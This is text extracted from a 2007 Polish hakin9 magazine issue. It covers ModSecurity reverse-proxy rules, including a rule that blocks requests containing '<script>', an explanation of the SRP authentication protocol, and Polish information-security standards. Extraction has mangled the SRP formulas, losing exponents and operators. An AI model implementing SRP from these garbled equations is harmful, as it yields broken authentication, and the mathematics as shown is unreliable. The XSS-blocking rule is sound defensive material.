LoadModule security2_module 

§

 /usr/lib/apache2/modules/ 

§

mod_security2.so
LoadModule unique_id_module 

§

 /usr/lib/apache2/modules/ 

§

 mod_unique_id.so

background image

Bezpieczne publikowanie zasobów intranetowych

hakin9 Nr 8/2007

www.hakin9.org

61

Problem  ten  można  naprawić  po 

stronie kodu samej aplikacji bądź ser-
wera, na którym jest ona uruchomio-
na.  W  tym  wypadku  zademonstruje-
my, jak możemy poradzić sobie z ta-
kim  problemem,  nie  posiadając  na-
wet  dostępu  do  serwera,  na  którym 
jest  ona  uruchomiona  czy  tym  bar-
dziej uprawnień administracyjnych lub 
dostępu  do  kodu  aplikacji.  Jeśli  zde-
cydujemy się na taką modyfikację in-
frastruktury,  by  serwer  chroniony  był 
przez oparty na Apachu reverse pro-
xy z aktywnym mod_security2. Może-
my na przykład zablokować wszystkie 
wywołania  zawierające  w  zmiennych 
łańcuch  <script>  oraz  zwracać  w  ta-
kiej sytuacji wybrany kod błędu.

Aby  to  osiągnąć,  wykorzystamy 

trzy  proste  wpisy  w  pliku  konfigura-
cyjnym:

SecRuleEngine On
SecDefaultAction log,auditlog, 

§

 deny,status:409,phase:2,t:none
SecRule ARGS "<script>"

Po takiej modyfikacji sieciowy wandal 
otrzyma przy próbie przełamania za-
bezpieczeń  naszej  aplikacji  komuni-
kat o błędzie 409 (Rysunek 6), a co 
ważniejsze, zostanie on odnotowany 

w  logach  bezpieczeństwa  w  sposób 
podobny  do  przedstawionego  na  Li-
stingu 4.

Pracując nad ModSecurity dla Apa-

che, ważne jest, by pamiętać, iż usta-
wienie zbyt restrykcyjnych reguł zapo-
ry poziomu aplikacyjnego dla naszych 
rozwiązań webowych może skutkować 
poważnym zakłóceniem ich pracy czy 
nawet całkowitym ich zablokowaniem. 
W związku z tym, realizacja tego typu 
zabezpieczeń  powinna  być  związana 
z dokładnym testowaniem funkcjonal-
ności  aplikacji,  którą  będziemy  chro-
nić. W przeciwnym wypadku może nas 
czekać niezadowolenie użytkowników, 
gdy nasze zmiany negatywnie wpłyną 
na komfort ich pracy.

MS ISA Server 2004

Jak już wspominaliśmy wcześniej, po-
dobną funkcjonalność można spotkać 
na przykład w Microsoft Internet and 

Security  Acceleration  Server  2004
Produkt  ten  ze  względów  finanso-
wych jest raczej kierowany do dużych 
korporacji, nie zaś do niewielkich od-
biorców z segmentów SOHO i SME. 
Microsoft  nadał  tej  funkcjonalności 
nazwę  reguł  publikowania  (Server/

Web Publishing Rules).

Jeśli mówimy o publikowaniu za-

sobów wewnętrznych serwisów we-
bowych, to w grę wchodzą Web Pu-

blishing  Rules  i  Secure  Web  Publi-

shing  Rules,  przy  czym  te  drugie 
odpowiadają  za  publikowanie  zaso-
bów  z  wykorzystaniem  szyfrowania 
SSL.  Ruch  SSL  może  być  wykony-

wany w trybie SSL tunelling lub SSL 

bridging. W pierwszym wypadku ISA 
przekazuje pakiety bezpośrednio do 
serwera  wewnętrznego,  zaś  w  dru-
gim, ruch zostaje odszyfrowany i po-
nownie zaszyfrowany, co pozwala na 
weryfikację zawartości pakietów.

Na konfigurację reguł publikowa-

nia składają się następujące opcje:

•   Action – włącza lub wyłącza do-

stęp,

•   Name – fqdn lub adres IP serwe-

ra, który będzie publikowany,

•   Users – uprawnienia dostępu do wi-

tryny na poziomie użytkowników,

•   Traffic source – obiekty sieciowe, 

z których możliwy będzie dostęp 
do witryny,

•   Public name – URL, na który bę-

dzie odpowiadać ISA,

•   Web listener – obiekt definiujący 

sposób nasłuchiwania przez ser-
wer ISA,

•   Path mappings – selektywne ma-

powanie  serwerów  wewnętrz-
nych na podstawie scieżki w wy-
wołanym URL-u,

•   Bridging  –  sposób  przekierowy-

wania  pakietów,  może  wykorzy-
stywać HTTP, SSL lub FTP,

•   Link translation – definiuje sposo-

by  modyfikowania  linków  zawar-
tych  w  odpowiedziach  na  żąda-
nia klienta.

Podsumowanie

Samo utworzenie reguł publikowania 
wykonywane  jest,  jak  to  w  produk-
tach MS zwykło bywać, przez przy-
jazny użytkownikowi kreator.

Tak  skonfigurowane  publikowa-

nie zasobów można rozszerzyć o fil-
try  webowe  (Web  Filters),  które  są 
funkcjonalnością  zbliżone  do  omó-
wionego wcześniej ModSecurity2.

Jak więc mogliśmy się przekonać, 

reverse  proxy  może  być  wykorzysta-
ne do znacznego podniesienia bezpie-
czeństwa  publikowanych  zasobów,  z 
użyciem otwartego i darmowego opro-
gramowania.  Rozwiązanie  oparte  o 
system GNU/Linux i serwer Apache2 
może  stanowić  wyśmienitą  alternaty-
wę dla takich komercyjnych produktów 
jak choćby Microsoft ISA Server i jego 
funkcja publikowania zasobów. l

O autorze

Autor jest inżynierem ds. zabezpieczeń 
w dziale Research&Development w fir-
mie IF Research / Wallix.
Kontakt z autorem: goblin@pentex.pl

Rysunek 6. 

Wywołanie zablokowane przez ModSecurity

background image

www.hakin9.org

hakin9 Nr 8/2007

62

Obrona

P

rotokół  Secure  Remote  Password 
(SRP) to najlepsze ze spotykanych roz-
wiązań,  zapewniające  wyższy  poziom 

bezpieczeństwa  niż  pozostałe  konkurencyjne 
metody oraz odporne na wszystkie, nawet naj-
groźniejsze, znane powszechnie sposoby prze-
prowadzania ataków. 

Dowody z wiedzą zerową

W  jaki  sposób  udowodnić  komuś,  że  posia-
da  się  pewną  wiedzę?  Najprościej  jest  naj-
zwyczajniej  ową  wiedzę  wyjawić.  Gdyby  jed-
nak  wszyscy  ludzie  żyjący  z  dostarczania  in-
formacji postępowali podobnie, wielu z nich nie 
wyszłoby na tym zbyt dobrze i to nie tylko pod 
względem finansowym. W ten sposób powsta-
ły różne metody przekonywania ludzi posiada-
jących pieniądze, że osoby deklarujące dobrą 
znajomość  określonej  dziedziny  wiedzy,  na-
prawdę ją posiadają i chętnie dokonają wymia-
ny (np. uchylenie rąbka tajemnicy). 

Matematycy nie zadowalają się półśrodka-

mi i problem ujęli dużo ściślej: jak komuś udo-
wodnić  posiadanie  pewnej  wiedzy,  bez  zdra-
dzenia nawet jednego bitu tejże wiedzy czy na-
wet  innych  pośrednich  faktów,  pozwalających 
na wywnioskowanie z nich wiedzy właściwej. 

Problem  ma  wiele  zastosowań  praktycz-

nych, wśród których można wymienić kwestie 
związane  z  protokołami  uwierzytelniającymi 
hasłem: jak klient ma udowodnić serwerowi, że 
zna hasło, nie podając go explicite ani nawet w 
postaci  zaszyfrowanej  (którą  przecież  można 
teoretycznie złamać). 

Krótko  mówiąc,  wymagamy,  aby  serwer 

mógł być absolutnie pewny, że klient naprawdę 
jest tym, za kogo się podaje, a jednocześnie po-
tencjalni podsłuchiwacze nie byli w stanie wy-
ciągnąć nic wartościowego z tej komunikacji. 

Od  protokołu  opartego  na  tym  założeniu 

wymagamy  dodatkowo,  żeby  był  odporny  na 

Secure Remote Password 

Protocol

Cezary G. Cerekwicki

stopień trudności

Najpopularniejszą techniką uwierzytelnienia jest użycie hasła. 

Istnieje wiele rozwiązań, pozwalających zdalnie uwierzytelnić się 

hasłem w relatywnie bezpieczny sposób, jednak każde z nich ma 

swoje ograniczenia. 

Z artykułu dowiesz się

•   jak działa najbezpieczniejszy protokół uwierzy-

telniający przez użycie hasła,

•   jak działają dowody z wiedzą zerową.

Co powinieneś wiedzieć

•   wskazane jest rozumienie podstaw terminologii 

kryptologicznej i elementarna znajomość mate-
matyki. 

background image

Najlepszy istniejący protokół zdalnego uwierzytelniania przy użyciu hasła

hakin9 Nr 8/2007

www.hakin9.org

63

wszystkie znane metody ataku (m.in. 

replay attack). 

Secure Remote 

Password

Secure Remote Password (SRP) to 
nowoczesny  protokół  uwierzytelnia-
jący,  stworzony  przez  ludzi  świado-
mych wszystkich publicznie znanych 
technik atakowania tego typu proto-
kołów:

•   SRP  zapewnia  uwierzytelnie-

nie obu stron;  serwer może być 
pewny,  że  klient  zna  hasło,  a 
klient  ma  gwarancję,  że  serwer 
jest  tym  samym,  na  którym  za-
kładano konto.

•   SRP ma charakter dowodu z wie-

dzą  zerową;  nawet  jeśli  komuni-
kacja  będzie  się  odbywała  kana-
łem  nieszyfrowanym,  potencjalni 
podsłuchiwacze nie będą w stanie 
nic  sensownego  wywnioskować. 
Oczywiście zaszyfrowanie kanału 
(np. poprzez SSL) wprowadzi do-
datkowy poziom bezpieczeństwa.

•   SRP, w przeciwieństwie do więk-

szości  metod  kryptografii  klucza 
publicznego,  nie  wymaga  istnie-
nia zaufanego trzeciego podmio-
tu,  który  ręczyłby  za  tożsamość 
stron.

•   SRP  jest  całkowicie  odporny  na 

ataki  słownikowe  online,  zarówno 
ze strony aktywnych, jak i pasyw-
nych podsłuchiwaczy. W przypad-
ku pozytywnego uwierzytelnienia, 
SRP pozostawia obu stronom uni-
kalny, trudny do przewidzenia i dla 
każdej  sesji  inny  klucz  prywatny, 
który może być użyty do zabezpie-
czenia sesji (np. jako zalążek ge-
neratora liczb pseudolosowych dla 
szyfru strumieniowego, klucz szy-
fru blokowego, identyfikator sesji). 

•   SRP zapewnia duże bezpieczeń-

stwo  nawet  w  przypadku  uży-
cia  słabych  haseł  (krótkich,  ma-
ło skomplikowanych).

•   SRP  jest  tak  skonstruowany,  że 

wymusza  składowanie  haseł  w 
systemie  w  sposób  bardzo  bez-
pieczny,  tzn.  w  postaci  saltowa-
nych hashy, czyli zrandomizowa-
nych  skrótów  kryptograficznych. 
Nawet  w  przypadku  włamania  i 

kradzieży pliku z hasłami, przed 
włamywaczem  stoi  jeszcze  ko-
nieczność  przeprowadzenia  ata-
ku  brutalnego  lub  słownikowe-
go,  bez  możliwości  użycia  obli-
czonych wcześniej tablic skrótów 
kryptograficznych. 

•   SRP realizuje asymetryczną wy-

mianę kluczy, podobnie jak to ma 
miejsce  w  protokole  Diffie-Hell-
man. 

•   SRP nie jest rozwiązaniem opa-

tentowanym ani krępowanym re-
strykcyjną  licencją.  Gotowe  im-
plementacje  są  dostępne  w  sie-
ci jako open source.

•   SRP jest dość szybkim protoko-

łem  (zważywszy  na  jakość  ofe-
rowanego  bezpieczeństwa),  co 
ważne,  jest  on  szybszy  niż  Dif-
fie-Hellman. 

Wersja szósta SRP jest standardem 
ISO/IEC  11770-4.  Używana  jest  ja-
ko silne uwierzytelnienie w protoko-
łach  SSL/TLS,  EAP,  SAML.  Są  też 
implementacje FTP, SSH czy telnetu 
wykorzystujące  SRP.  SRP  ma  bez-
pieczniejszy mechanizm uwierzytel-
niający od natywnego SSH. 

Podsumowując,  mamy  do  czy-

nienia  z  potężnym  narzędziem,  za-
pewniającym  bardzo  silne  bezpie-
czeństwo.

Jak to działa?

Na  początek  krótkie  wprowadzenie. 
Jak wiadomo, liczby pierwsze to takie 
liczby, które mają dokładnie dwa róż-
ne  dzielniki:  samą  siebie  i  jedynkę. 
W kryptografii mają znaczenie także 
tzw. liczby pierwsze Sophie Germain 
oraz bezpieczne liczby pierwsze. 

Jeśli  liczba  l  postaci  l  =  2p  +  1

gdzie p jest liczbą pierwszą, również 
jest  liczbą  pierwszą,  to  p  jest  licz-
bą  pierwszą  Sophie  Germain,  nato-
miast liczba jest bezpieczną liczbą 
pierwszą. 

W  algorytmach  protokołu  SRP 

będziemy  się  posługiwać  arytmety-

ką modulo N. Liczba N musi być zna-
ną  obu  stronom  bezpieczną  liczbą 
pierwszą (musi też być odpowiednio 
duża, im większa tym lepsza). Zakła-
damy  sobie  również  stałą  g,  zwaną 
generatorem.  Najczęściej  przyjmuje 

się g = 2. Kolejną tego typu stałą jest 

k, w SRP-6a należy ją obliczyć z ta-
kiego  wzoru:  k  =  SHA(N  |  g).  Znak 
„|” oznacza konkatenację (sklejanie) 
ciągu znaków. 

Wszystkie  trzy  stałe  (N,  g,  k)  są 

ustalone  odgórnie  i  publicznie  znane 
(przynajmniej obu stronom, ale mogą 
też być bez najmniejszego ryzyka zna-
ne potencjalnemu włamywaczowi). 

Aby  móc  stosować  protokół 

SRP,  konta  użytkowników  powinni-
śmy przechowywać w postaci trójek 
(login, weryfikator, sól).

Algorytm  tworzenia  takiej  trójki 

jest następujący:

•   sól  =  random()  (tu  uwaga:  im 

wyższa wartość random w przy-
padku danej liczby, tym bezpiecz-
niejszy będzie protokół. Zdecydo-
wanie sugeruję użycie czegoś w 
rodzaju /dev/random albo samo-
dzielnej  implementacji  podobne-
go mechanizmu),

•   x = SHA(sól | SHA(login | „:” | ha-

sło)),

•   weryfikator = v = gx % N.

Tu kilka drobnych uwag. Nie musimy 
używać  akurat  SHA,  możemy  użyć 
dowolnej  funkcji  skrótu  kryptogra-
ficznego (byle dobrej) nie zmieniając 
zasadniczych  własności  protokołu 
(oczywiście  pod  warunkiem,  że  bę-
dziemy  jej  używać  konsekwentnie). 
Poprzez „hasło” rozumiemy ciąg re-
prezentujący hasło w postaci jawnej. 
Znak  „%”  należy  rozumieć  jako  mo-

dulo (czyli reszta z dzielenia). 

Jak widzimy, nie będziemy prze-

chowywać  haseł  w  postaci  jawnej. 
Przechowujemy  jawny  login,  liczbę 
weryfikującą (w dalszej części tekstu 
będziemy o nim mówić jako o zmien-
nej v) oraz sól (materiał losowy ran-
domizujący  weryfikator).  Zwracam 
uwagę, że dwa konta z takim samym 
hasłem nie będą miały takiej samej 
liczby weryfikującej.

Uwierzytelnienie w postaci kano-

nicznej wygląda następująco:

•   klient wysyła do serwera prośbę 

o sól dla podanego loginu,

•   serwer wysyła sól dla żądanego 

loginu,

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

64

•   klient  oblicza  a  =  random()  (po-

nownie podkreślam istotność so-
lidnej  losowości;  a  musi  też  być 
większe od 

log

g

N

),

•   klient oblicza 

A=g

N

a

%

,

•   klient  wysyła  serwerowi  obliczo-

ną liczbę A,

•   jeśli A = 0 % N, serwer powinien 

się rozłączyć,

•   serwer  oblicza  b  =  random()  (b 

musi być większe od 

log

g

N

),

•   serwer oblicza i wysyła 

B kv+g

N

g

b

%

,

•   jeśli  B  =  0  %  N,  klient  powinien 

się rozłączyć,

•   obie  strony  obliczają  u  =  SHA

(A | B),

•   klient oblicza x = SHA(sól | SHA-

(login | „:” | hasło)),

•   klient oblicza 

Sklient=(B-kg

N

x (x+ux)

)

%

,

•   klient  oblicza  Kklient  =  SHA-

(Sklient),

•   serwer oblicza 

Sserwer=(A-v

u b

)

,

•   serwer  oblicza  Kserwer  =  SHA-

(Sserwer).

W tym momencie, obie strony mają 
klucz sesji K, który powinien być taki 
sam  (wówczas  uwierzytelnienie  się 
powiodło).  Jak  bezpiecznie  spraw-
dzić, czy uwierzytelnienie się powio-
dło? Można to zrobić na kilka sposo-
bów, na przykład tak:

•   klient wysyła M1 = SHA(SHA(N) 

xor SHA(g) | SHA(login) | sól | A | 
B | Kklient),

•   serwer weryfikuje M1, obliczając 

je  w  analogiczny  sposób  (oczy-
wiście  Kklient  powinno  być  rów-
ne  Kserwer).  Jeśli  M1  obliczone 
przez serwer różni się od przeka-
zanego od klienta, uwierzytelnie-
nie klienta jest nieudane. Serwer 
musi się rozłączyć,

•   serwer wysyła M2 = SHA(A | M1 | 

Kserwer),

•   serwer  weryfikuje  M2,  obliczając 

je w analogiczny sposób. Jeśli M2 
obliczone przez klienta jest różne 
od  przekazanego  przez  serwer, 
uwierzytelnienie serwera jest nie-
udane.  Klient  powinien  się  rozłą-
czyć.

Zwracam uwagę, że klient musi po-
kazać swój dowód jako pierwszy. Je-
śli jest on niepoprawny, serwer pod 

żadnym pozorem nie może pokazy-
wać swojego dowodu! 

W niektórych opracowaniach moż-

na zobaczyć inne formuły wzajemne-
go  uwierzytelnienia,  w  szczególności 
chodzi tu o to, że M1 może być wyli-
czone szybciej (można ze wzoru wy-
rzucić Ng, login i sól). Tym niemniej 
jest przynajmniej jeden dobry powód, 
dla  którego  warto  zostawić  te  dodat-
kowe  obliczenia:  w  przypadku  ataku 
brutalnego atakujący będzie miał trzy 
wywołania  SHA  więcej  na  iterację, 
co w skali takiego ataku oznacza bar-
dzo poważny koszt obliczeniowy. Nie-
pokoić może duża liczba wymian da-
nych  między  serwerem  i  klientem.  W 
rzeczywistości można ją nieco zredu-
kować łącząc niektóre komunikaty (w 
tabeli  1  zawarty  jest  zoptymalizowa-
ny  schemat  wymiany  komunikatów). 
Można posłużyć się też (w przypadku 
aplikacji webowych) technikami AJAX, 
aby  konwersacja  klienta  z  serwerem 
była niezauważalna dla użytkownika.

Zmienna  u  może  być  losowa,  ale 

wówczas jedna strona musi się nią po-
dzielić z drugą (oczywiście lepiej jest, 
gdy  losowanie  przeprowadzi  serwer). 
Dodatkowo u nie może być równe ze-
ro  (modulo  N  oczywiście),  zatem  je-
śli u będzie losowane, strona która je 

otrzyma, musi sprawdzić jego niezero-
wość modulo N i ewentualnie się roz-
łączyć.  Przestrzegam  przed  nieprze-
myślanymi (czytaj: nie poprzedzonymi 
głębokim zrozumieniem istotności każ-
dej zmiennej i każdego kroku) modyfi-
kacjami czy uproszczeniami tego pro-
tokołu.  Przedstawione  w  tym  tekście 
wzory  to  szósta  wersja  tego  protoko-
łu,  przejrzana  i  zweryfikowana  przez 
międzynarodowe  środowisko  nauko-
we  zajmujące  się  kryptografią  i  bez-
pieczeństwem  informacyjnym.  Każda 
użyta zmienna i każde przekształcenie 
ma swoją rolę do odegrania i bynajm-
niej  nie  są  one  przypadkowe.  Zdecy-
dowanie  radzę  używać  gotowych  im-
plementacji, a gdy jest to niemożliwe, 
własną implementację poprzedzić do-
kładną  lekturą  publikacji  dostępnych 
na stronie podanej w ramce. 

Bezpieczeństwo

SRP  jest  tak  bezpieczny,  jak  algo-
rytm Diffie-Hellman, a więc bezpie-
czeństwo  protokołu  zależy  od  trud-
ności  liczenia  logarytmów  dyskret-
nych oraz od nieodwracalności uży-
tej funkcji skrótu.

Przez sieć nie jest przesyłane ani 

hasło, ani wyliczona wartość x. Żad-
na użyteczna informacja o kluczu K 

Tabela 1. 

Zoptymalizowany schemat komunikatów w protokole SRP

Klient

Kierunek komunikatu Serwer

A, login

>
<

B, sól

M1

>
<

M2

W Sieci

Na tej stronie znajduje się kalkulator SRP, pozwalający podejrzeć wartości wszystkich 
zmiennych pomocniczych oraz eksperymentować z różnymi wartościami wejściowymi. 
http://srp.stanford.edu/demo/demo.html
To jest strona domowa projektu SRP. http://srp.stanford.edu/

O autorze

Autor jest z wykształcenia informatykiem i politologiem. Pracował jako programista, 
administrator, konsultant, tłumacz, koordynator międzynarodowych projektów, dzien-
nikarz i publicysta. Pisał programy w dziesięciu językach programowania (od asem-
blerów po języki skryptowe), w czterech systemach operacyjnych, na dwóch platfor-
mach sprzętowych. 
Kontakt z autorem: cerekwicki@tlen.pl

background image

nie jest ujawniana. Dodatkowo K jest 
kryptograficznie silne, w przeciwień-
stwie  do  zazwyczaj  mało  złożonych 
haseł.  W  efekcie  próba  odgadnięcia 
K  poprzez  atak  brutalny  jest  z  gó-
ry  skazana  na  porażkę.  Wymienia-
ne  przez  sieć  liczby  (sól,  A,  B,  M1 
i M2) są dość duże (co ich odgady-
wanie  czyni  bardzo  trudnym),  a  wy-
wnioskowanie z nich istotnych warto-
ści poprzez odwrócenie działań ma-
tematycznych prowadzi do odwraca-
nia kryptograficznej funkcji skrótu lub 
liczenia  logarytmu  dyskretnego  du-
żej losowej liczby (oba te zadania są 
obecnie bardzo trudne). 

Atak typu man-in-the-middle nie 

może być przeprowadzony przez ko-
goś, kto nie zna hasła.

Jeśli  użyty  w  przeszłości  klucz 

sesji zostanie skompromitowany, nie 
grozi to ujawnieniem używanego ha-
sła. Jeśli włamywacz wykradnie ha-
sło, nie będzie w stanie przy jego po-
mocy odgadnąć kluczy poprzednich 
sesji.  Protokół  pozostaje  bezpiecz-
ny, nawet jeśli jedna ze stron nie jest 
tym, za kogo się podaje.

Aktywny  intruz,  mający  możli-

wość  generowania  komunikatów 
podszywających  się  pod  strony  ko-
munikacji,  nie  jest  w  stanie  przejąć 
sesji.  Jedyne,  co  może  zrobić,  to 
przeprowadzić banalny atak typu de-

nial-of-service,  tzn.  może  doprowa-
dzić do nieudanego uwierzytelnienia 
legalnego  użytkownika.  Ale  akurat 
tego typu akty prymitywnego wanda-
lizmu prawie zawsze są możliwe. 

Podsumowanie

SRP jest obecnie szczytowym osią-
gnięciem  w  dziedzinie  protokołów 
uwierzytelniających  hasłem  w  spo-
sób  możliwie  bezpieczny.  Łatwość 
implementacji, oraz dostępne gotowe 
biblioteki czynią to rozwiązanie dość 
prostym do wdrożenia w nowych sys-
temach  (przeróbka  systemu  o  innej 
technice  uwierzytelniania  może  być 
znacznie bardziej kłopotliwa). 

Możemy  sobie  życzyć,  aby  tego 

typu rozwiązania były jak najszerzej 
wykorzystywane,  zwiększając  su-
mę  bezpieczeństwa  informacyjnego 
używanych przez nas systemów. l

background image

www.hakin9.org

hakin9 Nr 8/2007

66

Bezpieczna Firma

W

raz  z  rozwojem  społeczeństwa  in-
formacyjnego  pojawiła  się  potrze-
ba  standaryzacji  zagadnień  zwią-

zanych z bezpieczeństwem informacji. Szereg 
organizacji  i  stowarzyszeń  branżowych  opra-
cowało własne standardy. Oto niektóre z nich 
patrz Ramka Normy, standardy, zalecenia.

Zanim  omówimy  polskie  normy  dotyczące 

sensu stricte problematyki bezpieczeństwa in-
formacji, warto wspomnieć o dwóch mało zna-
nych  normach  terminologicznych.  Od  nich 
wszystko się zaczęło. 

Trochę terminologii

W  pierwszej  z  nich,  PN-ISO/IEC  2382-8: 
2001 Technika informatyczna – Terminologia 
– Bezpieczeństwo, zdefiniowano w dwóch ję-
zykach (polskim i angielskim) terminy ogólne 
odnoszące się do ochrony danych i informa-
cji, włącznie z kryptografią, klasyfikacją infor-
macji i kontrolą dostępu, odzyskiwaniem da-
nych  i  informacji  oraz  naruszeniem  bezpie-
czeństwa.  Norma  ma  ułatwić  porozumiewa-
nie się w dziedzinie technik informatycznych 
w skali międzynarodowej. W normie brak de-
finicji bezpieczeństwa informacji. Operuje się 
w  niej  natomiast  pojęciem  bezpieczeństwo 

danych,  rozumianym  jako  bezpieczeństwo 
systemu  informatycznego  w  odniesieniu  do 
danych.  Zaś  samo  bezpieczeństwo  systemu 
informatycznego  definiuje  się  jako  ochronę 
danych  i  zasobów  przed  przypadkowymi  lub 
złośliwymi  działaniami,  zwykle  poprzez  pod-
jęcie  odpowiednich  kroków  zaradczych  lub 
prewencyjnych. Złośliwymi działaniami mogą 
być:  modyfikacja,  zniszczenie,  dostęp,  ujaw-
nienie lub pozyskanie danych, jeśli działania 
te nie są uprawnione. Natomiast ochronę da-
nych definiuje się jako wdrożenie środków ad-
ministracyjnych,  technicznych  lub  fizycznych 
w celu ochrony przed nieuprawnionym dostę-
pem do danych.

Bezpieczeństwo informacji 

w polskich normach

Andrzej Guzik

stopień trudności

Polskie normy dotyczące bezpieczeństwa informacji stanowią, 

obok przepisów prawa oraz standardów branżowych, tzw. 

najlepsze praktyki, wytyczne dla organizacji lub wymagania w 

przypadku podjęcia decyzji o wdrożeniu w instytucji systemu 

zarządzania bezpieczeństwem informacji według PN-ISO/IEC 

27001: 2007.

Z artykułu dowiesz się

•  jakie polskie normy i raporty techniczne stano-

wią najlepsze praktyki w zakresie zapewnienia 
bezpieczeństwa informacji w instytucji.

Co powinieneś wiedzieć

•  znać  podstawowe  wymagania  dotyczące  bez-

pieczeństwa informacji.

background image

Bezpieczeństwo informacji w polskich normach

hakin9 Nr 8/2007

www.hakin9.org

67

W  drugiej  normie  terminologicz-

nej, PN-I-02000: 2002 Technika in-
formatyczna  –  Zabezpieczenia  w 
systemach  informatycznych  –  Ter-
minologia, podano polską terminolo-
gię (z angielskimi odpowiednikami) z 
zakresu  bezpieczeństwa  systemów 
informatycznych.  Norma  może  być 
przydatna  do  tłumaczenia  tekstów 
technicznych,  norm  i  dokumentów 
oraz do precyzyjnej i jednoznacznej 

wymiany  informacji  podczas  kon-
taktów  międzynarodowych  i  krajo-
wych.  Warto  w  tym  miejscu  zwró-
cić  uwagę  na  rozróżnienie  angiel-
skich słów security i safety, przekła-
danych na język polski jako bezpie-
czeństwo. Autorzy tłumaczenia nor-
my przyjęli, że termin security ozna-
cza  wszelkie  zabezpieczenia  chro-
niące  system  informatyczny  i  jego 
zasoby przed szkodliwym oddziały-

waniem otoczenia, zaś termin safe-

ty oznacza wszelkie zabezpieczenia 
chroniące  otoczenie  przed  szkodli-
wymi lub wręcz katastroficznymi od-
działywaniami systemu informatycz-
nego na otoczenie systemu. W nor-
mie po raz pierwszy pojawia się ter-
min  bezpieczeństwo  informacji,  ro-
zumiany  jako  system  informatyczny 
wraz  z  systemem  bezpieczeństwa 
komunikacji,  składający  się  z  wy-
tycznych  i  procedur  administracyj-
nych,  przeznaczony  do  identyfiko-
wania, nadzoru i ochrony informacji 
przed nieuprawnionym ujawnieniem. 
Natomiast ochronę danych definiuje 
się tu tak, jak w normie PN-ISO/IEC 
2382-8: 2001.

Standardy 

bezpieczeństwa 

informacji

Przejdźmy do standardów o funda-
mentalnym  znaczeniu  dla  bezpie-
czeństwa informacji. Wśród nich na-
leży wymienić: raporty ISO/IEC TR 
13335, normę ISO/IEC 17799 oraz 
normę  ISO/IEC  15408,  tzw.  Com-

mon  Criteria  (Wspólne  Kryteria). 
W  dalszej  części  artykułu  zostaną 
scharakteryzowane  jedynie  wybra-
ne  standardy  (nie  wszystkie  prze-
tłumaczono  bowiem  na  język  pol-
ski). W Polsce ukazały się jedynie 3 
spośród 5 części raportów technicz-
nych ISO/IEC TR 13335. Część 1 –
ukazała się jako polska norma PN-
I-13335-1:  1999  Technika  informa-
tyczna – Wytyczne do zarządzania 
bezpieczeństwem  systemów  infor-
matycznych – Pojęcia i modele bez-
pieczeństwa systemów informatycz-
nych, części 2 i 3 jako raporty tech-
niczne: ISO/IEC TR 133335-2 Tech-
nika  informatyczna  –  Wytyczne  do 
zarządzania bezpieczeństwem sys-
temów  informatycznych.  Część  2
–  Zarządzanie  i  planowanie  bez-
pieczeństwa  systemów  informa-
tycznych oraz ISO/IEC TR 13335-3 
Technika informatyczna – Wytyczne 
do  zarządzania  bezpieczeństwem 
systemów  informatycznych.  Część 
3  –  Techniki  zarządzania  bezpie-
czeństwem  systemów  informatycz-
nych. W Polsce nie przetłumaczono 
4 części raportu – ISO/IEC 13335-

Normy, standardy, zalecenia

•  BS 15000 (zastąpiony normą ISO/IEC 20000: 2005) – brytyjski standard opracowa-

ny przez BSI (British Standard Institution) opisujący system zarządzania usługami 
informatycznymi,

•  BS 25999: 2006 – opracowany przez BSI standard, dotyczący obszaru zarządza-

nia ciągłością działania (zastąpił specyfikacje PAS-56),

•  BS 7799-1 – opracowany przez BSI standard, definiuje wytyczne w zakresie usta-

nowienia, wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania i dosko-
nalenia  Systemu  Zarządzania  Bezpieczeństwem  Informacji  (zastąpiony  przez 
ISO/IEC 17799: 2005),

•  BS 7799-2 – opracowany przez BSI standard, który określa wymagania w zakre-

sie ustanowienia, wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania 
i  doskonalenia  Systemu  Zarządzania  Bezpieczeństwem  Informacji  (zastąpiony 
przez ISO/IEC 27001: 2005),

•  BS 7799-3 – norma dotycząca zarządzania ryzykiem bezpieczeństwa informacji,
•  COBIT (Control Objectives for Information related Technology) – metodyka kontro-

li i audytu systemów informatycznych,

•  MARION (Mission Analysis and Risk Impact on Operations Network tool) – meto-

dyka przeprowadzania audytów bezpieczeństwa w instytucjach sektora finanso-
wego,

•  ISO/IEC TR 18044 – standard przedstawia dobre praktyki w zakresie zarządzania 

incydentami bezpieczeństwa informacji,

•  ITIL (IT Infrastructure Library) – zbiór dobrych praktyk zarządzania organiza-

cją IT.

Rysunek 1. 

Związki pomiędzy elementami bezpieczeństwa

ZAGROŻENIA

PODATNOŚCI

WYMAGANIA

W ZAKRESIE

OCHRONY

WARTOŚCI

(stąd potencjalne

następstwa dla

działania instytucji)

ZASOBY

RYZYKA

ZABEZPIECZENIA

wykorzystują

zwiększają

narażają

zwiększają

analiza

wskazuje

posiadają

realizowana przez

zwiększają

zmniejszają

chronią przed

background image

hakin9 Nr 8/2007

www.hakin9.org

Bezpieczna firma

68

4: Wybór zabezpieczeń oraz jego 5 
części:  ISO/IEC  13335-5:  Zabez-
pieczenie  połączeń  zewnętrznych. 
Polska norma PN-I-13335-1 grupu-
je  wytyczne  dotyczące  zarządza-
nia bezpieczeństwem systemów in-
formatycznych.  Materiał  ten  może 
być przydatny dla kierownictwa od-
powiedzialnego za bezpieczeństwo 
systemów informatycznych oraz dla 
osób,  które  odpowiadają  za  cało-
ściowy  program  bezpieczeństwa  w 
instytucji. 

W  rozumieniu  normy,  bezpie-

czeństwo  systemu  informatyczne-
go  to  wszystkie  aspekty  związane 
z definiowaniem, osiąganiem i utrzy-
mywaniem  poufności,  integralności, 
dostępności,  rozliczalności,  auten-
tyczności  i  niezawodności.  W  nor-
mie przedstawiono podstawowe po-
jęcia  dotyczące  bezpieczeństwa  te-
leinformatycznego, takie jak: zasób, 
podatność, zagrożenia, następstwo, 
ryzyko,  zabezpieczenie  lub  ryzyko 
szczątkowe. W formie prostych mo-
deli  pojęciowych  pokazano  związki 
zachodzące między nimi. 

W  normie  przedstawiono  rów-

nież  podstawowe  procesy  związa-
ne  z  procesem  zarządzania  bez-
pieczeństwem  systemów  informa-
tycznych.  Wyodrębniono  trzy  pod-
stawowe  procesy:  proces  zarzą-
dzania  konfiguracją,  proces  zarzą-
dzania zmianami i proces zarządza-
nia ryzykiem. Autorzy normy zwra-

cają również uwagę na wiele typów 
ograniczeń, na ograniczenia organi-
zacyjne,  finansowe,  środowiskowe, 
osobowe,  czasowe,  prawne,  tech-
niczne,  kulturowe  i  społeczne,  któ-
re należy wziąć pod uwagę, wybie-
rając i implementując zabezpiecze-
